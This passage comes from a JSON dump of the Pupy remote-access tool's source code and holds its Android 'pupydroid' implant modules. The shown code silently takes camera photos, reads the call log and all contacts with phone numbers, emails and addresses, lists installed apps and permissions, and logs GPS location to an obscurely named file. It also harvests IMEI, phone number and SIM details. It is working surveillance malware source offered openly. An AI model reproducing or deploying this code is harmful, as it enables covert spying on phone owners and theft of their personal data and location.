7\nCDERR_LOCKRESFAILURE = 8\nCDERR_MEMALLOCFAILURE = 9\nCDERR_MEMLOCKFAILURE = 10\nCDERR_NOHOOK = 11\nCDERR_REGISTERMSGFAIL = 12\nPDERR_PRINTERCODES = 4096\nPDERR_SETUPFAILURE = 4097\nPDERR_PARSEFAILURE = 4098\nPDERR_RETDEFFAILURE = 4099\nPDERR_LOADDRVFAILURE = 4100\nPDERR_GETDEVMODEFAIL = 4101\nPDERR_INITFAILURE = 4102\nPDERR_NODEVICES = 4103\nPDERR_NODEFAULTPRN = 4104\nPDERR_DNDMMISMATCH = 4105\nPDERR_CREATEICFAILURE = 4106\nPDERR_PRINTERNOTFOUND = 4107\nPDERR_DEFAULTDIFFERENT = 4108\nCFERR_CHOOSEFONTCODES = 8192\nCFERR_NOFONTS = 8193\nCFERR_MAXLESSTHANMIN = 8194\nFNERR_FILENAMECODES = 12288\nFNERR_SUBCLASSFAILURE = 12289\nFNERR_INVALIDFILENAME = 12290\nFNERR_BUFFERTOOSMALL = 12291\nFRERR_FINDREPLACECODES = 16384\nFRERR_BUFFERLENGTHZERO = 16385\nCCERR_CHOOSECOLORCODES = 20480\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/__init__.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = [\n    'camera', 'text_to_speech', 'vibrator'\n]\n\nfrom . import camera\nfrom . import text_to_speech\nfrom . import vibrator\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/apps.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n#Author: @bobsecq\n#Contributor(s):\n\nfrom jnius import autoclass, cast\n\ndef getAllAps():\n    '''\n    Returns all applications installed [{'packageName':packageName, 'sourceDir':sourceDirectory}, etc]\n    '''\n    infos = []\n    pythonService = autoclass(\"org.renpy.android.PythonService\")\n    PackageManager= autoclass(\"android.content.pm.PackageManager\")\n    activity = cast(\"android.app.Service\", pythonService.mService)\n    pm = activity.getPackageManager()\n    packages = pm.getInstalledApplications(PackageManager.GET_META_DATA)\n    for appNb in range(packages.size()):\n        appInfo = packages.get(appNb)\n        packageName = appInfo.packageName\n        sourceDir = appInfo.sourceDir\n        dataDir  = appInfo.dataDir\n        processName = appInfo.processName\n        publicSourceDir = appInfo.publicSourceDir\n        sharedLibraryFiles = appInfo.sharedLibraryFiles\n        packagePerms = pm.getPackageInfo(appInfo.packageName, PackageManager.GET_PERMISSIONS)\n        requestedPermissions = packagePerms.requestedPermissions\n        permissions = []\n        if requestedPermissions is not None:\n            for i in range(len(requestedPermissions)):\n                permissions.append(requestedPermissions[i])\n        infos.append({\"packageName\":packageName,\n            \"sourceDir\":sourceDir,\n            \"dataDir\":dataDir,\n            \"processName\":processName,\n            \"publicSourceDir\":publicSourceDir,\n            \"sharedLibraryFiles\":sharedLibraryFiles,\n            \"permissions\":permissions,\n            })\n    return infos\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/call.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom jnius import autoclass\n\ndef getCallDetails():\n    '''\n    '''\n    calls = []\n    Calls = autoclass('android.provider.CallLog$Calls')\n    PythonActivity = autoclass('org.renpy.android.PythonService')\n    cursor = PythonActivity.mService.getContentResolver().query(Calls.CONTENT_URI, None, None, None, Calls.DATE+\" DESC\")\n    callsCount = cursor.getCount()\n    if callsCount > 0:\n        while cursor.moveToNext():\n            phNum = cursor.getString(cursor.getColumnIndex(Calls.NUMBER))\n            callTypeCode = cursor.getString(cursor.getColumnIndex(Calls.TYPE))\n            callDate = cursor.getString(cursor.getColumnIndex(Calls.DATE))\n            callDuration = cursor.getString(cursor.getColumnIndex(Calls.DURATION))\n            calls.append({'phNum':phNum,'callTypeC':callTypeCode,'callDate':callDate, 'callDuration':callDuration})\n    cursor.close()\n    return calls\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/camera.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom jnius import autoclass, PythonJavaClass, java_method\nfrom threading import Event\n\n__all__=[\"take_picture\"]\n\nclass PictureCallback(PythonJavaClass):\n    __javainterfaces__ = ['android/hardware/Camera$PictureCallback']\n\n    def __init__(self, event):\n        PythonJavaClass.__init__(self)\n        self.result=None\n        self.event=event\n\n    @java_method(\"([BLandroid/hardware/Camera;)V\")\n    def onPictureTaken(self, data, camera):\n        self.result=data.tostring()\n        self.event.set()\n\ndef numberOfCameras():\n    try:\n        Camera=autoclass(\"android.hardware.Camera\")\n        return Camera.getNumberOfCameras()\n    except:\n        return \"?\"\n\n#ref: http://developer.android.com/reference/android/hardware/Camera.html\ndef take_picture(cam_id=0, jpegQuality=90):\n    Camera=autoclass(\"android.hardware.Camera\")\n    c = Camera.open(cam_id)\n    try:\n        params = Camera.getParameters()\n        params.setJpegQuality(jpegQuality)\n        Camera.setParameters(params)\n        SurfaceTexture=autoclass(\"android.graphics.SurfaceTexture\")\n        c.setPreviewTexture(SurfaceTexture(0))\n        c.startPreview()\n        #view = SurfaceView(0);\n        #c.setPreviewDisplay(view.getHolder());\n        e=Event()\n        pc=PictureCallback(e)\n        c.takePicture(None, None, pc)\n        e.wait()\n        return pc.result\n    finally:\n        c.release()\n        del e\n        del pc\n        del c\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/contacts.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom jnius import autoclass\n\ndef getAllContacts():\n    '''\n    Returnd [{'id':contactId, 'name':contactName, 'phoneNbs':phoneNbs, 'emails':emails, 'postalAddresses':postalAddresses}, etc]\n    With phoneNbs, emails and postalAddresses as lists of dictionaries\n    '''\n    allContacts = []\n\n    Contacts = autoclass(\"android.provider.ContactsContract$Contacts\")#ContactsContract.Contacts\n    ContactsColumns = autoclass(\"android.provider.ContactsContract$ContactsColumns\") #ContactsContract.ContactsColumns\n    CommonDataKindsPhone = autoclass(\"android.provider.ContactsContract$CommonDataKinds$Phone\")#ContactsContract.CommonDataKinds.Phone\n    CommonDataKindsEmail = autoclass(\"android.provider.ContactsContract$CommonDataKinds$Email\")#ContactsContract.CommonDataKinds.Email\n    CommonDataKindsStructuredPostal = autoclass(\"android.provider.ContactsContract$CommonDataKinds$StructuredPostal\")#ContactsContract.CommonDataKinds.StructuredPostal\n    PythonActivity = autoclass('org.renpy.android.PythonService')\n\n    cursor = PythonActivity.mService.getContentResolver().query(Contacts.CONTENT_URI, None, None, None, None)\n    contactsCount = cursor.getCount()\n    if contactsCount > 0:\n        while cursor.moveToNext():\n            contactId = cursor.getString(cursor.getColumnIndex(Contacts._ID))\n            contactName = cursor.getString(cursor.getColumnIndex(ContactsColumns.DISPLAY_NAME))\n            phoneNbs, phoneNbsTypes, emails, postalAddresses = [], [], [], []\n            #Phone numbers\n            if cursor.getInt(cursor.getColumnIndex(ContactsColumns.HAS_PHONE_NUMBER))>0:\n                pCursor = PythonActivity.mService.getContentResolver().query(CommonDataKindsPhone.CONTENT_URI, None, \"{0} = {1}\".format(\"contact_id\", contactId), None, None)\n                while pCursor.moveToNext():\n                    phoneNo = pCursor.getString(pCursor.getColumnIndex(CommonDataKindsPhone.NUMBER))\n                    phoneNbs.append(phoneNo)\n                    phoneNoType = pCursor.getString(pCursor.getColumnIndex('data2')) #CommonDataKindsPhone.TYPE doesn't work\n                    phoneNoLabel = pCursor.getString(pCursor.getColumnIndex('data3')) #CommonDataKindsPhone.LABEL doesn't work\n                    phoneNbsTypes.append(phoneNumberTypeToString(int(phoneNoType), str(phoneNoLabel)))\n                pCursor.close()\n            #EMAILS\n            pCursor = PythonActivity.mService.getContentResolver().query(CommonDataKindsEmail.CONTENT_URI, None, \"{0} = {1}\".format(\"contact_id\", contactId), None, None)\n            while pCursor.moveToNext():\n                email = pCursor.getString(pCursor.getColumnIndex(CommonDataKindsEmail.ADDRESS))\n                emails.append(email)\n            pCursor.close()\n            #Postal addresses\n            pCursor = PythonActivity.mService.getContentResolver().query(CommonDataKindsStructuredPostal.CONTENT_URI, None, \"{0} = {1}\".format(\"contact_id\", contactId), None, None)\n            while pCursor.moveToNext():\n                postalAddress = pCursor.getString(pCursor.getColumnIndex(CommonDataKindsStructuredPostal.FORMATTED_ADDRESS))\n                postalAddresses.append(postalAddress)\n            pCursor.close()\n            allContacts.append({'id':contactId, 'name':contactName, 'phoneNbs':phoneNbs, 'phoneNbsTypes':phoneNbsTypes, 'emails':emails, 'postalAddresses':postalAddresses})\n        cursor.close()\n    return allContacts\n\ndef phoneNumberTypeToString(phoneNumberType, label):\n    '''\n    '''\n    CommonDataKindsPhone = autoclass(\"android.provider.ContactsContract$CommonDataKinds$Phone\")\n    if phoneNumberType == CommonDataKindsPhone.TYPE_CUSTOM:\n        return CommonDataKindsPhone.label\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_HOME:\n        return \"HOME\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_MOBILE:\n        return \"MOBILE\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_WORK:\n        return \"WORK\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_FAX_WORK:\n        return \"FAX_WORK\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_FAX_HOME:\n        return \"FAX_HOME\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_PAGER:\n        return \"PAGER\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_OTHER:\n        return \"OTHER\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_CALLBACK:\n        return \"CALLBACK\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_CAR:\n        return \"CAR\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_ISDN:\n        return \"ISDN\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_MAIN:\n        return \"MAIN\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_COMPANY_MAIN:\n        return \"COMPANY_MAIN\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_OTHER_FAX:\n        return \"OTHER_FAX\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_RADIO:\n        return \"RADIO\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_COMPANY_MAIN:\n        return \"COMPANY_MAIN\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_TELEX:\n        return \"TELEX\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_TTY_TDD:\n        return \"TYPE_TTY_TDD\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_WORK_MOBILE:\n        return \"WORK_MOBILE\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_WORK_PAGER:\n        return \"WORK_PAGER\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_ASSISTANT:\n        return \"ASSISTANT\"\n    elif phoneNumberType == CommonDataKindsPhone.TYPE_MMS:\n        return \"MMS\"\n    else:\n        return \"?\"\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/gpsTracker.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n#Author: @bobsecq\n#Contributor(s):\n\nimport os\nimport datetime\n\nfrom time import sleep\nfrom io import open\nfrom threading import Thread\n\nfrom jnius import autoclass, cast, detach\nfrom plyer import gps\n\nGPSTRACKER_THREAD  = None\nTRACES = []\nCURRENT_LAT, CURRENT_LON = None, None\n\n\ndef __getLocation__(**kwargs):\n    '''\n    This function is called by configure for setting current GPS location in global variables\n    Info: The on_location and on_status callables might be called from another thread than the thread used for creating the GPS object.\n    See https://plyer.readthedocs.io/en/latest/\n    '''\n    global CURRENT_LAT\n    global CURRENT_LON\n    if kwargs is not None:\n        #print \"__getLocation__ old:{0},{1}\".format(CURRENT_LAT, CURRENT_LON)\n        CURRENT_LAT=kwargs['lat']\n        CURRENT_LON=kwargs['lon']\n        #print \"__getLocation__ new:{0},{1}\".format(kwargs['lat'], kwargs['lon'])\n\n\nclass GpsTracker(Thread):\n\n    def __init__(self, period=15, inMemory=False):\n        '''\n        '''\n        Thread.__init__(self)\n        gps.configure(on_location=__getLocation__)\n        self.stopFollow=False\n        self.period=period\n        self.inMemory=inMemory\n        self.filename = \"keflfjezomef.csv\"\n        self.Context = autoclass('android.content.Context')\n        self.PythonActivity = autoclass('org.renpy.android.PythonService')\n        self.LocationManager = autoclass('android.location.LocationManager')\n\n    def enable(self):\n        '''\n        '''\n        gps.start()\n\n    def disable(self):\n        '''\n        '''\n        gps.stop()\n\n    def stop(self):\n        '''\n        '''\n        self.stopFollow=True\n\n    def isGPSenabled(self):\n        '''\n        '''\n        locationManager = cast('android.location.LocationManager', self.PythonActivity.mService.getSystemService(self.Context.LOCATION_SERVICE))\n        isGPSEnabled = locationManager.isProviderEnabled(self.LocationManager.GPS_PROVIDER)\n        return isGPSEnabled\n\n    def isNetworkProviderEnabled(self):\n        '''\n        '''\n        locationManager = cast('android.location.LocationManager', self.PythonActivity.mService.getSystemService(self.Context.LOCATION_SERVICE))\n        isNetworkProviderEnabled = locationManager.isProviderEnabled(self.LocationManager.NETWORK_PROVIDER)\n        return isNetworkProviderEnabled\n\n    def getCurrentLocation(self):\n        '''\n        '''\n        global CURRENT_LAT\n        global CURRENT_LON\n        return CURRENT_LAT, CURRENT_LON\n\n    def follow(self):\n        global TRACES\n        self.enable()\n        lastLat, lastLon = None, None\n        if not self.inMemory:\n            if not os.path.isfile(self.filename):\n                f = open(self.filename,'w')\n                f.write(\"date,latitude,longitude\\n\")\n                f.close()\n        while not self.stopFollow:\n            lat, lon = self.getCurrentLocation()\n            #print \"follow current:{0},{1}\".format(lat, lon)\n            if (lat is not None and lon is not None) and (lastLat!=lat or lastLon!=lon):\n                #print \"follow modified:{0},{1}\".format(lat, lon)\n                if not self.inMemory:\n                    f = open(self.filename,'a+')\n                    f.write(\"{0},{1},{2}\\n\".format(datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\"), lat, lon))\n                    f.close()\n                else:\n                    TRACES.append([datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\"), lat, lon])\n            lastLat, lastLon = lat, lon\n            sleep(self.period)\n        self.disable()\n        detach() #For fixing a BUG, see https://github.com/kivy/pyjnius/issues/107\n\n    def run(self):\n        self.stopFollow=False\n        self.follow()\n\n    def isFollowing(self):\n        if self.stopFollow:\n            return False\n        else:\n            return True\n\n\ndef startGpsTracker(period):\n    '''\n    '''\n    global GPSTRACKER_THREAD\n    if GPSTRACKER_THREAD is None or not GPSTRACKER_THREAD.isFollowing():\n        gpsTracker = GpsTracker(period=period)\n        gpsTracker.start()\n        GPSTRACKER_THREAD=gpsTracker\n        return True\n    else:\n        return False\n\ndef stopGpsTracker():\n    '''\n    '''\n    global GPSTRACKER_THREAD\n    if GPSTRACKER_THREAD is None:\n        return False\n\n    if not GPSTRACKER_THREAD.isFollowing():\n        return False\n    else:\n        GPSTRACKER_THREAD.stop()\n        #print \"Joining with GPS tracking thread...\"\n        GPSTRACKER_THREAD.join()\n        #print \"Thread Finished\"\n        return True\n\ndef dumpGpsTracker():\n    '''\n    When inMeory is enabled\n    '''\n    global TRACES\n    return TRACES\n\ndef statusGpsTracker():\n    '''\n    '''\n    global GPSTRACKER_THREAD\n    if GPSTRACKER_THREAD is None:\n        return False\n    elif not GPSTRACKER_THREAD.isFollowing():\n        return False\n    else:\n        return True\n\ndef deleteFile():\n    '''\n    '''\n    if GPSTRACKER_THREAD is not None and not GPSTRACKER_THREAD.isFollowing():\n        try:\n            os.remove(GPSTRACKER_THREAD.filename)\n        except OSError:\n            return False\n        return True\n    else:\n        return False\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/text_to_speech.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom jnius import autoclass\nimport time\n\n__all__=[\"speak\"]\n\ndef speak(text, lang='US'):\n    \"\"\" use the text to speach API to speak text out loud :-) \"\"\"\n    Locale = autoclass('java.util.Locale')\n    PythonActivity = autoclass('org.renpy.android.PythonService')\n    TextToSpeech = autoclass('android.speech.tts.TextToSpeech')\n    tts = TextToSpeech(PythonActivity.mService, None)\n    time.sleep(0.1) #dirty but avoid implementing TextToSpeech.OnInitListener\n    try:\n        if lang is not None:\n            if lang in ['CANADA', 'CANADA_FRENCH', 'CHINA', 'CHINESE', 'ENGLISH', 'FRANCE', 'FRENCH', 'GERMAN', 'GERMANY', 'ITALIAN', 'ITALY', 'JAPAN', 'JAPANESE', 'KOREA', 'KOREAN', 'PRC', 'PRIVATE_USE_EXTENSION', 'ROOT', 'SIMPLIFIED_CHINESE', 'TAIWAN', 'TRADITIONAL_CHINESE', 'UK', 'UNICODE_LOCALE_EXTENSION', 'US']:\n                error_codes={-1:'LANG_MISSING_DATA', -2:'LANG_NOT_SUPPORTED'}\n                ret=tts.setLanguage(getattr(Locale,lang))\n                if ret in error_codes:\n                    raise Exception(\"Error in setLanguage: %s for lang: %s\"%(error_codes[ret],lang))\n            else:\n                raise Exception(\"no such locale : %s\"%lang)\n        #ref. http://developer.android.com/reference/android/speech/tts/TextToSpeech.html\n        ret=tts.speak(str(text), TextToSpeech.QUEUE_FLUSH, None)\n        for i in range(0,10):\n            time.sleep(0.1)\n        while tts.isSpeaking():\n            time.sleep(0.1)\n        if ret == TextToSpeech.LANG_MISSING_DATA:\n            raise Exception(\"Error: LANG_MISSING_DATA\")\n        return ret\n    finally:\n        tts.shutdown()\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/utils.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#Author: @bobsecq\n#Contributor(s):\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom jnius import autoclass, cast\n\nSERVICE = autoclass('org.kivy.android.PythonService').mService\nCONTEXT = autoclass('android.content.Context')\n\ndef getAndroidID():\n    '''\n    Returns None if an error\n    '''\n    try:\n        settingsSecure = autoclass('android.provider.Settings$Secure')\n        androidId = settingsSecure.getString(SERVICE.getContentResolver(), settingsSecure.ANDROID_ID)\n        return androidId\n    except:\n        return None\n\ndef getPhoneNumber():\n    '''\n    Returns None if an error\n    '''\n    try:\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        phoneNumber = telephonyManager.getLine1Number()\n        return phoneNumber\n    except:\n        return None\n\ndef getDeviceId():\n    '''\n    Returns the unique device ID, for example, the IMEI for GSM and the MEID or ESN for CDMA phones.\n    Otherwise, returns None\n    Requires Permission: READ_PHONE_STATE\n    '''\n    try:\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        deviceId = telephonyManager.getDeviceId()\n        return deviceId\n    except:\n        return None\n\ndef getSimCountryIso():\n    '''\n    Returns the ISO country code equivalent for the SIM provider's country code\n    Otherwise, returns None\n    Since it is the sim code it also should not change when traveling to other countries.\n    '''\n    try:\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        simCountryIso = telephonyManager.getSimCountryIso()\n        return simCountryIso\n    except:\n        return None\n\ndef getNetworkCountryIso():\n    '''\n    Returns the ISO country code equivalent of the current registered operator's MCC (Mobile Country Code).\n    Otherwise, returns None\n    Availability: Only when user is registered to a network. Result may be unreliable on CDMA networks (use getPhoneType() to determine if on a CDMA network).\n    See https://developer.android.com/reference/android/telephony/TelephonyManager.html#getNetworkCountryIso()\n    '''\n    try:\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        networkCountryIso = telephonyManager.getNetworkCountryIso()\n        return networkCountryIso\n    except:\n        return None\n\ndef getSimInfo():\n    '''\n    Returns 0 if none of voice, sms, data is not supported\n    Returns 1 when there is a sim card\n    Returns 2 when there is a sim card\n    Returns None if an error\n    --> Needs API level 23 <--\n    '''\n    try:\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        phoneCount = telephonyManager.getPhoneCount()\n        return phoneCount\n    except:\n        return None\n\ndef getNetworkOperatorName():\n    '''\n    Returns the alphabetic name of current registered operator\n    Returns None if an error\n    '''\n    try:\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        networkOperatorName = telephonyManager.getNetworkOperatorName()\n        return networkOperatorName\n    except:\n        return None\n\ndef getSimState():\n    '''\n    Returns a string indicating the state of the default SIM card\n    Returns None if an error\n    '''\n    try:\n        status=\"?\"\n        TelephonyManager = autoclass('android.telephony.TelephonyManager')\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        simState = telephonyManager.getSimState()\n        if simState == TelephonyManager.SIM_STATE_UNKNOWN:\n            status = \"unknown\"\n        elif simState == TelephonyManager.SIM_STATE_ABSENT:\n            status = \"absent\"\n        elif simState == TelephonyManager.SIM_STATE_PIN_REQUIRED:\n            status = \"pin_required\"\n        elif simState == TelephonyManager.SIM_STATE_PUK_REQUIRED:\n            status = \"puk_required\"\n        elif simState == TelephonyManager.SIM_STATE_NETWORK_LOCKED:\n            status = \"network_locked\"\n        elif simState == TelephonyManager.SIM_STATE_READY:\n            status = \"ready\"\n        return status\n    except:\n        return None\n\ndef isNetworkRoaming():\n    '''\n    Returns true if the device is considered roaming on the current network, for GSM purposes.\n    Returns None if an error\n    Availability: Only when user registered to a network.\n    '''\n    try:\n        telephonyManager = cast(\n            'android.telephony.TelephonyManager',\n            SERVICE.getSystemService(CONTEXT.TELEPHONY_SERVICE))\n        isNetworkRoaming = telephonyManager.isNetworkRoaming()\n        return isNetworkRoaming\n    except:\n        return None\n\ndef isWiFiEnabled():\n    '''\n    Returns None if an error\n    '''\n    try:\n        wifiManager = cast(\n            'android.net.wifi.WifiManager',\n            SERVICE.getSystemService(CONTEXT.WIFI_SERVICE))\n        return wifiManager.isWifiEnabled()\n    except:\n        return None\n\ndef isWiFiConnected():\n    connectivityManager = autoclass('android.net.ConnectivityManager')\n    cManager = cast(\n        'android.net.ConnectivityManager',\n        SERVICE.getSystemService(CONTEXT.CONNECTIVITY_SERVICE))\n    networkInfo = cManager.getNetworkInfo(connectivityManager.TYPE_WIFI)\n    return networkInfo.isConnected()\n\ndef isVPNConnected():\n    connectivityManager = autoclass('android.net.ConnectivityManager')\n    cManager = cast(\n        'android.net.ConnectivityManager',\n        SERVICE.getSystemService(CONTEXT.CONNECTIVITY_SERVICE))\n\n    try:\n        networkInfo = cManager.getNetworkInfo(connectivityManager.TYPE_VPN)\n    except:\n        return False\n\n    return networkInfo.isConnected()\n\ndef getInfoBuild():\n    '''\n    Returns {'deviceName': , 'manufacturer':, 'model':, 'product': , 'bootloaderVersion':, 'hardware':, 'serial':, 'radioVersion':,  'release':}\n    Returns a list of None for each attribut if an error\n    '''\n    try:\n        build = autoclass('android.os.Build')\n        version = autoclass('android.os.Build$VERSION')\n        deviceName = build.DEVICE\n        manufacturer = build.MANUFACTURER\n        model = build.MODEL\n        product = build.PRODUCT\n        bootloaderVersion = build.BOOTLOADER\n        hardware = build.HARDWARE\n        try:\n            serial = build.SERIAL\n        except:\n            serial = None\n        radioVersion = build.getRadioVersion()\n        return {\n            'deviceName': deviceName,\n            'manufacturer': manufacturer,\n            'model': model,\n            'product': product,\n            'bootloaderVersion': bootloaderVersion,\n            'hardware': hardware,\n            'serial': serial,\n            'radioVersion': radioVersion,\n            'release':\"{0} ({1})\".format(version.RELEASE, version.CODENAME)\n        }\n    except:\n        return {\n            'deviceName':None,\n            'manufacturer':None,\n            'model':None,\n            'product': None,\n            'bootloaderVersion':None,\n            'hardware':None,\n            'serial':None,\n            'radioVersion':None,\n            'release':None\n        }\n\n\ndef getBatteryStats():\n    '''\n    Returns None if an error\n    returns {'percentage': 99.0, 'isCharging': True}\n    '''\n    try:\n        from plyer import battery\n        return battery.status\n    except:\n        return None\n\ndef getMobileNetworkType():\n    '''\n    Returns info about current mobile connection\n    For mobile type Only (not for WiFi)\n    If not using mobile connection or an error, returns None\n    Return {'info':info, 'fast',fast}\n        - Info: string\n        - fast: True, False or None if unknow\n    Help: https://gist.github.com/emil2k/5130324\n    '''\n    info, fast = \"Error!\", False\n    try:\n        connectivityManager = autoclass('android.net.ConnectivityManager')\n        telephonyManager = autoclass(\"android.telephony.TelephonyManager\")\n        cManager = cast(\n            'android.net.ConnectivityManager',\n            SERVICE.getSystemService(CONTEXT.CONNECTIVITY_SERVICE))\n        activeNetworkInfo = cManager.getActiveNetworkInfo()\n        cType = activeNetworkInfo.getType()\n        cSubType = activeNetworkInfo.getSubtype()\n\n        if cType != connectivityManager.TYPE_MOBILE:\n            return None\n\n        if cSubType == telephonyManager.NETWORK_TYPE_1xRTT:\n            info = \"1xRTT: 50-100 kbps\"\n            fast = False\n        if cSubType == telephonyManager.NETWORK_TYPE_CDMA:\n            info = \"CDMA: 14-64 kbps\"\n            fast = False\n        if cSubType == telephonyManager.NETWORK_TYPE_EDGE:\n            info = \"EDGE: 50-100 kbps\"\n            fast = False\n        if cSubType == telephonyManager.NETWORK_TYPE_EVDO_0:\n            info = \"EVDO_0: 400-1000 kbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_EVDO_A:\n            info = \"EVDO_A: 600-1400 kbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_GPRS:\n            info = \"GPRS: 100 kbps\"\n            fast = False\n        if cSubType == telephonyManager.NETWORK_TYPE_HSDPA:\n            info = \"HSDPA: 2-14 Mbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_HSPA:\n            info = \"HSPA: 700-1700 kbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_HSUPA:\n            info = \"HSUPA: 1-23 Mbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_UMTS:\n            info = \"UMTS: 400-7000 kbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_EHRPD: #API level 11\n            info = \"EHRPD: 1-2 Mbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_EVDO_B: #API level 9\n            info = \"EVDO_B: 5 Mbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_HSPAP: #API level 13\n            info = \"HSPAP: 10-20 Mbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_IDEN: #API level 8\n            info = \"IDEN: 25 kbps\"\n            fast = False\n        if cSubType == telephonyManager.NETWORK_TYPE_LTE: #API level 11\n            info = \"LTE: 10+ Mbps\"\n            fast = True\n        if cSubType == telephonyManager.NETWORK_TYPE_UNKNOWN:\n            info = \"UNKNOWN: ?\"\n            fast = None\n        return {'info':info, 'fast':fast}\n    except:\n        return {'info':info, 'fast':fast}\n"
  },
  {
    "path": "pupy/packages/android/pupydroid/vibrator.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport jnius\n\n__all__=[\"vibrate\"]\n\ndef vibrate(pattern, repeat=None):\n    \"\"\" take a list of int as pattern \"\"\"\n    PythonActivity = jnius.autoclass('org.renpy.android.PythonService')\n    Context = jnius.autoclass('android.content.Context')\n    activity = PythonActivity.mService\n    vibrator = activity.getSystemService(Context.VIBRATOR_SERVICE)\n    if vibrator.hasVibrator():\n        try:\n            if repeat:\n                vibrator.vibrate(list(pattern), repeat)\n            else:\n                vibrator.vibrate(list(pattern), -1)\n        except KeyboardInterrupt:\n            vibrator.cancel()\n            raise\n    else:\n        raise RuntimeError(\"The device does not have a vibrator\")\n"
  },
  {
    "path": "pupy/packages/darwin/checkvm.py",
